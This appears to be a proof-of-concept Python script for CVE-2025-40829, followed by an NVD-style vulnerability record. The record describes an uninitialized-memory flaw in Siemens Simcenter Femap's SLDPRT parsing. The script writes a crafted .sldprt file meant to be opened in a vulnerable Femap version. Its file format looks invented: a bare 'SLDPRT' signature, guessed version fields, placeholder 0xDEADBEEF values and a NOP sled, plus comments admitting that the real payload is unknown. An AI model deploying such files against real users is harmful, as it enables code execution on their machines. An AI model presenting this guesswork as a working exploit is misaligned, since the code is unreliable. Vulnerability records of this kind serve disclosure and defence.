CVE-2025-40829

# CVE-2025-40829 PoC - Simcenter Femap Uninitialized Memory # This PoC creates a malicious SLDPRT file that triggers uninitialized memory vulnerability # Reference: ZDI-CAN-27146 import struct import os def create_malicious_sldprt(): """ Create a crafted SLDPRT file to trigger uninitialized memory vulnerability in Simcenter Femap versions prior to V2512. Note: This is a proof-of-concept for educational and security testing purposes. """ # SLDPRT file header - SolidWorks part file format header = b'SLDPRT' # File signature # Version information version = struct.pack('<I', 25) # Version 25 or similar # Create malformed data structures that trigger uninitialized memory access # The exact payload depends on specific Femap version and patch level # Entity count (manipulated to cause parsing issues) entity_count = struct.pack('<I', 0xFFFFFFFF) # Max uint32 # Feature table with invalid entries feature_table = b'\x00' * 256 # Uninitialized data pattern # Geometry data with specific corruption geometry_data = b'\x41' * 128 # Pattern that may survive as uninitialized # Malformed feature chain feature_chain = struct.pack('<IIII', 0x00000001, # Feature type 0x00000000, # Next feature pointer (triggers path) 0xDEADBEEF, # Invalid pointer 0xCAFEBABE # Junk data ) # Padding to reach critical parsing section padding = b'\xCC' * 512 # Trigger data - specific bytes to control uninitialized memory content trigger = b'\x90' * 64 # NOP sled # End marker end_marker = b'\xFF\xFF\xFF\xFF' # Combine all parts poc_data = header + version + entity_count + feature_table + geometry_data poc_data += feature_chain + padding + trigger + end_marker return poc_data def main(): """Generate PoC SLDPRT file""" output_file = 'CVE-2025-40829_poc.sldprt' print("[*] Generating PoC for CVE-2025-40829") print("[*] Target: Siemens Simcenter Femap < V2512") print("[*] Vulnerability: Uninitialized Memory in SLDPRT parsing") poc_data = create_malicious_sldprt() with open(output_file, 'wb') as f: f.write(poc_data) print(f"[+] PoC file created: {output_file}") print(f"[+] File size: {len(poc_data)} bytes") print("\n[!] Usage: Open this file with vulnerable Simcenter Femap version") print("[!] This PoC is for authorized security testing only") if __name__ == '__main__': main()

{"cve": {"id": "CVE-2025-40829", "sourceIdentifier": "[email protected]", "published": "2025-12-12T09:15:49.817", "lastModified": "2025-12-15T17:25:34.403", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in Simcenter Femap (All versions < V2512). The affected applications contains an uninitialized memory vulnerability while parsing specially crafted SLDPRT files. This could allow an attacker to execute code in the context of the current process. (ZDI-CAN-27146)"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-908"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:siemens:simcenter_femap:*:*:*:*:*:*:*:*", "versionEndExcluding": "2512.0000", "matchCriteriaId": "D0DE036D-8721-4DDF-9459-5735606CF324"}]}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-512988.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}